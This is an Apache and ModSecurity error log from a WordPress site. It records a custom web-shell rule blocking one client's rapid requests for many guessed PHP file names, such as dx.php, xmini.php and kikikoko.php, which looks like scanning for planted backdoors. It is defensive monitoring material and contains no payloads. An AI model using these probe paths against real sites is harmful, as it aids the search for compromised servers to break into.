[Sun May 03 05:33:52.388935 2026] [:error] [pid 40639:tid 40717] [client 172.173.121.85:30303] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmini.php"] [unique_id "afZtwK9rkyoICq7qxvFkeAAAAJA"]
[Sun May 03 05:33:52.970327 2026] [:error] [pid 21934:tid 21943] [client 172.173.121.85:6096] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmini.php"] [unique_id "afZtwHWfIjnWjXCxeM4rFQAAAQc"]
[Sun May 03 05:33:53.552714 2026] [:error] [pid 40639:tid 40718] [client 172.173.121.85:6127] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmini.php"] [unique_id "afZtwa9rkyoICq7qxvFkewAAAJE"]
[Sun May 03 05:33:54.063979 2026] [:error] [pid 40638:tid 40678] [client 172.173.121.85:30222] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2468.php"] [unique_id "afZtwvh3VcFjJ7H1mBaoxgAAAEQ"]
[Sun May 03 05:33:54.531670 2026] [:error] [pid 40639:tid 40704] [client 172.173.121.85:30278] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2468.php"] [unique_id "afZtwq9rkyoICq7qxvFkfAAAAIM"]
[Sun May 03 05:33:54.942033 2026] [:error] [pid 40639:tid 40712] [client 172.173.121.85:30242] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2468.php"] [unique_id "afZtwq9rkyoICq7qxvFkfgAAAIs"]
[Sun May 03 05:33:55.350462 2026] [:error] [pid 40732:tid 40761] [client 172.173.121.85:30238] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2468.php"] [unique_id "afZtw_1lQrIvlEdzcVcU9wAAANE"]
[Sun May 03 05:33:56.791035 2026] [:error] [pid 40732:tid 40768] [client 172.173.121.85:30325] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afZtxP1lQrIvlEdzcVcU-wAAANg"]
[Sun May 03 05:33:57.238337 2026] [:error] [pid 40638:tid 40694] [client 172.173.121.85:6123] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afZtxfh3VcFjJ7H1mBaozwAAAFQ"]
[Sun May 03 05:33:57.659989 2026] [:error] [pid 40637:tid 40668] [client 172.173.121.85:6088] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afZtxZB-U30YNJ6CyVg85QAAABU"]
[Sun May 03 05:33:59.054780 2026] [:error] [pid 40639:tid 40708] [client 172.173.121.85:6141] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afZtx69rkyoICq7qxvFkigAAAIc"]
[Sun May 03 05:33:59.454247 2026] [:error] [pid 40639:tid 40718] [client 172.173.121.85:30320] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZtx69rkyoICq7qxvFkjAAAAJE"]
[Sun May 03 05:33:59.866846 2026] [:error] [pid 40637:tid 40654] [client 172.173.121.85:6129] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZtx5B-U30YNJ6CyVg85gAAAAc"]
[Sun May 03 05:34:00.293716 2026] [:error] [pid 40639:tid 40701] [client 172.173.121.85:30213] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZtyK9rkyoICq7qxvFkkAAAAIA"]
[Sun May 03 05:34:00.823521 2026] [:error] [pid 40639:tid 40707] [client 172.173.121.85:6104] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZtyK9rkyoICq7qxvFklQAAAIY"]
[Sun May 03 05:34:01.912463 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:30297] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amdin.php"] [unique_id "afZtyXWfIjnWjXCxeM4rJAAAARY"]
[Sun May 03 05:34:02.322925 2026] [:error] [pid 21934:tid 21948] [client 172.173.121.85:30250] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amdin.php"] [unique_id "afZtynWfIjnWjXCxeM4rKgAAAQw"]
[Sun May 03 05:34:02.739345 2026] [:error] [pid 40732:tid 40757] [client 172.173.121.85:30223] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amdin.php"] [unique_id "afZtyv1lQrIvlEdzcVcU_wAAAM0"]
[Sun May 03 05:34:03.185670 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:5725] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amdin.php"] [unique_id "afZty3WfIjnWjXCxeM4rLwAAAQg"]
[Sun May 03 05:34:03.582727 2026] [:error] [pid 40639:tid 40710] [client 172.173.121.85:5719] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "afZty69rkyoICq7qxvFknAAAAIk"]
[Sun May 03 05:34:04.099847 2026] [:error] [pid 40637:tid 40656] [client 172.173.121.85:30300] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "afZtzJB-U30YNJ6CyVg86AAAAAk"]
[Sun May 03 05:34:05.009915 2026] [:error] [pid 40639:tid 40704] [client 172.173.121.85:6101] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "afZtza9rkyoICq7qxvFkswAAAIM"]
[Sun May 03 05:34:06.448636 2026] [:error] [pid 40638:tid 40674] [client 172.173.121.85:30306] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "afZtzvh3VcFjJ7H1mBao-QAAAEA"]
[Sun May 03 05:34:06.893815 2026] [:error] [pid 40638:tid 40683] [client 172.173.121.85:30288] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "afZtzvh3VcFjJ7H1mBao_AAAAEk"]
[Sun May 03 05:34:07.287181 2026] [:error] [pid 40732:tid 40759] [client 172.173.121.85:5132] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "afZtz_1lQrIvlEdzcVcVAwAAAM8"]
[Sun May 03 05:34:07.763971 2026] [:error] [pid 21934:tid 21959] [client 172.173.121.85:6086] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "afZtz3WfIjnWjXCxeM4rNwAAARc"]
[Sun May 03 05:34:08.216446 2026] [:error] [pid 40639:tid 40715] [client 172.173.121.85:6114] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "afZt0K9rkyoICq7qxvFkywAAAI4"]
[Sun May 03 05:34:08.620505 2026] [:error] [pid 40637:tid 40671] [client 172.173.121.85:30285] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "afZt0JB-U30YNJ6CyVg87QAAABg"]
[Sun May 03 05:34:09.003609 2026] [:error] [pid 40638:tid 40697] [client 172.173.121.85:30239] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "afZt0fh3VcFjJ7H1mBapAQAAAFc"]
[Sun May 03 05:34:09.416364 2026] [:error] [pid 40639:tid 40725] [client 172.173.121.85:5745] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "afZt0a9rkyoICq7qxvFk0AAAAJg"]
[Sun May 03 05:34:09.965403 2026] [:error] [pid 40638:tid 40677] [client 172.173.121.85:6120] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "afZt0fh3VcFjJ7H1mBapAwAAAEM"]
[Sun May 03 05:34:10.415891 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:6099] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "afZt0nWfIjnWjXCxeM4rOgAAARQ"]
[Sun May 03 05:34:10.858002 2026] [:error] [pid 21934:tid 21949] [client 172.173.121.85:30241] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "afZt0nWfIjnWjXCxeM4rPAAAAQ0"]
[Sun May 03 05:34:11.379759 2026] [:error] [pid 40638:tid 40697] [client 172.173.121.85:30248] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "afZt0_h3VcFjJ7H1mBapDAAAAFc"]
[Sun May 03 05:34:11.801142 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:5738] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "afZt03WfIjnWjXCxeM4rPgAAARY"]
[Sun May 03 05:34:12.248191 2026] [:error] [pid 40637:tid 40662] [client 172.173.121.85:6085] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "afZt1JB-U30YNJ6CyVg87wAAAA8"]
[Sun May 03 05:34:12.732030 2026] [:error] [pid 40638:tid 40696] [client 172.173.121.85:6142] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "afZt1Ph3VcFjJ7H1mBapFAAAAFY"]
[Sun May 03 05:34:13.191681 2026] [:error] [pid 40638:tid 40685] [client 172.173.121.85:5714] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "afZt1fh3VcFjJ7H1mBapFgAAAEs"]
[Sun May 03 05:34:13.584871 2026] [:error] [pid 40732:tid 40756] [client 172.173.121.85:6107] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "afZt1f1lQrIvlEdzcVcVDAAAAMw"]
[Sun May 03 05:34:14.301851 2026] [:error] [pid 40638:tid 40676] [client 172.173.121.85:6132] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZt1vh3VcFjJ7H1mBapHQAAAEI"]
[Sun May 03 05:34:14.720706 2026] [:error] [pid 40638:tid 40690] [client 172.173.121.85:30323] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZt1vh3VcFjJ7H1mBapIAAAAFA"]
[Sun May 03 05:34:15.134209 2026] [:error] [pid 40637:tid 40666] [client 172.173.121.85:30251] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZt15B-U30YNJ6CyVg89AAAABM"]
[Sun May 03 05:34:15.592638 2026] [:error] [pid 40637:tid 40655] [client 172.173.121.85:30264] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "afZt15B-U30YNJ6CyVg89QAAAAg"]
[Sun May 03 05:34:15.988617 2026] [:error] [pid 40638:tid 40696] [client 172.173.121.85:6116] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "afZt1_h3VcFjJ7H1mBapKAAAAFY"]
[Sun May 03 05:34:16.428931 2026] [:error] [pid 40637:tid 40657] [client 172.173.121.85:30304] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "afZt2JB-U30YNJ6CyVg89wAAAAo"]
[Sun May 03 05:34:16.848737 2026] [:error] [pid 40732:tid 40759] [client 172.173.121.85:6082] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "afZt2P1lQrIvlEdzcVcVEAAAAM8"]
[Sun May 03 05:34:35.028756 2026] [autoindex:error] [pid 40637:tid 40652] [client 172.173.121.85:6124] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 05:34:44.735442 2026] [:error] [pid 40637:tid 40648] [client 172.173.121.85:6124] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7.php"] [unique_id "afZt9JB-U30YNJ6CyVg9FgAAAAE"]
[Sun May 03 05:34:45.152666 2026] [:error] [pid 21934:tid 21953] [client 172.173.121.85:6084] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7.php"] [unique_id "afZt9XWfIjnWjXCxeM4rmAAAARE"]
[Sun May 03 05:34:45.655269 2026] [:error] [pid 40732:tid 40756] [client 172.173.121.85:5756] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7.php"] [unique_id "afZt9f1lQrIvlEdzcVcVVAAAAMw"]
[Sun May 03 05:34:46.089091 2026] [:error] [pid 40637:tid 40651] [client 172.173.121.85:30333] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/7.php"] [unique_id "afZt9pB-U30YNJ6CyVg9GAAAAAQ"]
[Sun May 03 05:34:46.542961 2026] [:error] [pid 21934:tid 21938] [client 172.173.121.85:30252] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "afZt9nWfIjnWjXCxeM4rmwAAAQI"]
[Sun May 03 05:34:46.959795 2026] [:error] [pid 21934:tid 21952] [client 172.173.121.85:6089] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "afZt9nWfIjnWjXCxeM4rnAAAARA"]
[Sun May 03 05:34:47.361053 2026] [:error] [pid 21934:tid 21955] [client 172.173.121.85:6095] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "afZt93WfIjnWjXCxeM4rnQAAARM"]
[Sun May 03 05:34:48.456721 2026] [:error] [pid 40637:tid 40665] [client 172.173.121.85:30208] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "afZt-JB-U30YNJ6CyVg9GwAAABI"]
[Sun May 03 05:34:49.571376 2026] [:error] [pid 40637:tid 40654] [client 172.173.121.85:6117] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "afZt-ZB-U30YNJ6CyVg9HwAAAAc"]
[Sun May 03 05:34:50.697720 2026] [:error] [pid 40638:tid 40674] [client 172.173.121.85:5716] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1.php"] [unique_id "afZt-vh3VcFjJ7H1mBapTgAAAEA"]
